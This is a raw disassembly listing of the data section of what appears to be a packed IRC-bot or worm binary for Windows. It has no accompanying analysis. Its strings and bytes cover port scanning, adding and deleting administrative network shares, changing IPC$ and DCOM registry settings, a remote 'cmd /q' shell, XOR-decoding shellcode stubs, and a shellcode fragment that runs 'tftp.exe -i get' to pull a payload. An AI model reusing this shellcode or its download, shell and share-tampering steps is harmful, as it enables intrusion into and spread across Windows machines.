		dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
		dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_438BAC	dd 1			; DATA XREF: sub_415D01+7o
off_438BB0	dd offset sub_415996	; DATA XREF: sub_415D01+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 4159F4h, 706D6F63h, 2 dup(0)
		dd 3, 415A41h, 6E756F63h, 797274h, 0
		dd 4, 415ADFh, 736Fh, 2	dup(0)
		dd 5, 415B54h
dword_438C04	dd 69257325h, 0		; DATA XREF: sub_415996+40o
					; ___:00415AC0o ...
byte_438C0C	db 50h			; DATA XREF: ___:00415A63o
					; ___:00415A70r
		db 43h,	2 dup(0)
dword_438C10	dd 7C7325h		; DATA XREF: ___:00415B0Eo
					; sub_415D01+39o
dword_438C14	dd 5D73255Bh, 7Ch	; DATA XREF: ___:00415C18o
dword_438C1C	dd 334B32h		; DATA XREF: ___:00415C08o
dword_438C20	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5E+3Ao
dword_438C28	dd 5D4D5Bh		; DATA XREF: sub_415C5E+2Co
					; sub_415C5E+57o
unk_438C2C	db    2			; DATA XREF: sub_415D6A+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_438CA0	dd offset dword_438CD8	; DATA XREF: sub_415F88+1B3o
					; sub_4162AC+17Ao
		align 8
		dd offset dword_438CD0
		align 10h
off_438CB0	dd offset dword_438CCC	; DATA XREF: sub_4162AC+1E3o
		dd offset dword_438CC8
		dd offset dword_438CC4
		dd offset dword_438CC0
dword_438CC0	dd 5C3A44h		; DATA XREF: sub_415F88+217o
					; ___:00438CBCo
dword_438CC4	dd 2444h		; DATA XREF: ___:00438CB8o
dword_438CC8	dd 5C3A43h		; DATA XREF: ___:00438CB4o
dword_438CCC	dd 2443h		; DATA XREF: ___:off_438CB0o
dword_438CD0	dd 494D4441h, 244Eh	; DATA XREF: ___:00438CA8o
dword_438CD8	dd 24435049h, 0		; DATA XREF: ___:off_438CA0o
unk_438CE0	db    2			; DATA XREF: sub_415F88+2E5o
					; sub_4162AC+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_438D20	db    2			; DATA XREF: sub_415F88+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_438D58	db    2			; DATA XREF: sub_415F88:loc_4161EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_438D94	db    2			; DATA XREF: sub_415F88+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_438DC8	db    2			; DATA XREF: sub_415F88:loc_416157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_438E04	db    2			; DATA XREF: sub_415F88+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_438E38	db    2			; DATA XREF: sub_415F88:loc_4160BAo
					; sub_4162AC:loc_4163DAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_438E78	db    2			; DATA XREF: sub_415F88:loc_4160B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_438EC4	db    2			; DATA XREF: sub_415F88:loc_416095o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_438F08	db    2			; DATA XREF: sub_415F88+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo
					; sub_4162AC+EDo
		align 4
unk_438F68	db    2			; DATA XREF: sub_415F88+91o
					; sub_4162AC+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_438FA8	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F88:loc_415FF5o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_438FD4	db    2			; DATA XREF: sub_415F88+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F88+54o
					; sub_4162AC+54o
		align 4
word_439014	dw 4Eh			; DATA XREF: sub_415F88+38r
		align 4
unk_439018	db    2			; DATA XREF: sub_4162AC+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4162AC+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4162AC+219o
unk_439058	db    2			; DATA XREF: sub_4162AC:loc_41644Bo
					; sub_4162AC:loc_41651Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_439090	db    2			; DATA XREF: sub_4162AC+198o
					; sub_4162AC+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_4390C0	db    2			; DATA XREF: sub_4162AC:loc_4163D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_43910C	db    2			; DATA XREF: sub_4162AC:loc_4163B5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_439150	db    2			; DATA XREF: sub_4162AC+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43919C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AC:loc_416319o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_4391C8	db    2			; DATA XREF: sub_4162AC+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4391FC	dw 59h			; DATA XREF: sub_4162AC+38r
		align 10h
dword_439200	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_439244	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+59o
					; sub_4165C6+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43929C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4392D4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_439324	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_439374	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416810+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_416810+8Co
		align 10h
dword_4393C0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E9+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4


loc_43940C:				; DATA XREF: sub_416C55+C4o
		jmp	short loc_439410
; ---------------------------------------------------------------------------


loc_43940E:				; CODE XREF: ___:loc_439410p
		jmp	short loc_439415
; ---------------------------------------------------------------------------


loc_439410:				; CODE XREF: ___:loc_43940Cj
		call	loc_43940E


loc_439415:				; CODE XREF: ___:loc_43940Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43941A	dw 0FFFFh		; DATA XREF: sub_416C55+CCw
		db 80h,	73h, 0Eh
byte_43941F	db 0FFh			; DATA XREF: sub_416C55+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_439424:				; DATA XREF: sub_416C55+A2o
		jmp	short loc_439428
; ---------------------------------------------------------------------------


loc_439426:				; CODE XREF: ___:loc_439428p
		jmp	short loc_43942D
; ---------------------------------------------------------------------------


loc_439428:				; CODE XREF: ___:loc_439424j
		call	loc_439426


loc_43942D:				; CODE XREF: ___:loc_439426j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_439431	db 0FFh			; DATA XREF: sub_416C55+AAw
		dw 7380h
		db 0Ch
byte_439435	db 0FFh			; DATA XREF: sub_416C55+B0w
		dw 0E243h
		dd 0F9h
dword_43943C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADE+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4394A0	dd 12h			; DATA XREF: sub_416ADE+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADE+79o
aJ		db 'j',0
		db 0E8h
dword_4394B9	dd 17h			; DATA XREF: sub_416ADE+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4394C0
		retn
; ---------------------------------------------------------------------------
byte_4394C0	db 0E8h			; CODE XREF: ___:004394BDj
dword_4394C1	dd 1			; DATA XREF: sub_416ADE+45w
byte_4394C5	db 0, 6Ah, 0		; DATA XREF: sub_416ADE+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4394CF	dd 0FFFFFFEDh		; DATA XREF: sub_416ADE+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o
dword_439550	dd 29E2C0h		; DATA XREF: sub_417302+4w sub_41730Cr ...
		align 10h
dword_439560	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_43956C	dd offset sub_417D73	; DATA XREF: ___:00419AB8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_439578	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_43957C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_439590	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_439594	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_439598	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_43959C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_4395A0	dd offset word_4395AA	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_4395A4	dd offset word_4395AA	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_4395AA	dw 20h			; DATA XREF: sub_42102E+18r
					; ___:off_4395A0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4397AC	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_4397B0	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_4397C0	dd offset off_4397C0	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_4397C4	dd offset off_4397C0	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_4397D8
		dd offset dword_4397D8
dword_4397D0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_4397D8	dd 0F0h, 0F1h, 338h dup(0) ; DATA XREF:	___:004397C8o
					; ___:004397CCo
dword_43A4C0	dd 4C8h	dup(0)		; DATA XREF: Themida_:loc_50E849o
off_43B7E0	dd offset off_4397C0	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_43B7E4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_43B7E8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_43B7EC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_43B8C0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_43B8D0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43B8E8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_43B8F4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_43B900	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_43B904	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_43B908	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_43B90C	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_43B910	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_43B914	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_43B924	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_43B928	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_43B930	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_43B938	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_43B940	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_43B944	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_43B950	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43BA30	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_43BA34	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BB98	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43BB9C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43BC10	dd 3			; DATA XREF: ___:0041F003r
					; sub_421C3C+C8r
dword_43BC14	dd 7			; DATA XREF: ___:0041F009r
					; sub_421C3C+CDr
dword_43BC18	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_43BC1C	dd 8Ch			; DATA XREF: ___:0041F02Dr
					; ___:0041F03Aw ...
dword_43BC20	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_43BC28	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_43BC2C	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_43BCB8	dd offset dword_48A320	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_48A320
		dd 101h
dword_43BCC8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_43BCD8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BCF8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BD28	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_43BF38	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_43BF40	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_43BF58	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_43BF70	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_43BF74	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_43BF78	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
off_43BF7C	dd offset dword_545350	; DATA XREF: ___:off_43BFFCo
		dd 0Fh dup(0)
off_43BFBC	dd offset dword_544450	; DATA XREF: ___:off_43C000o
		dd 0Fh dup(0)
off_43BFFC	dd offset off_43BF7C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_43C000	dd offset off_43BFBC	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_43C008	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_43C00C	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_43C010	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_43C018	dd 0FFFFFFFFh		; DATA XREF: sub_42094E:loc_420965w
					; sub_420BAC+26r ...
dword_43C01C	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_43C020	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_43C024	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43C054	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_43C058	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
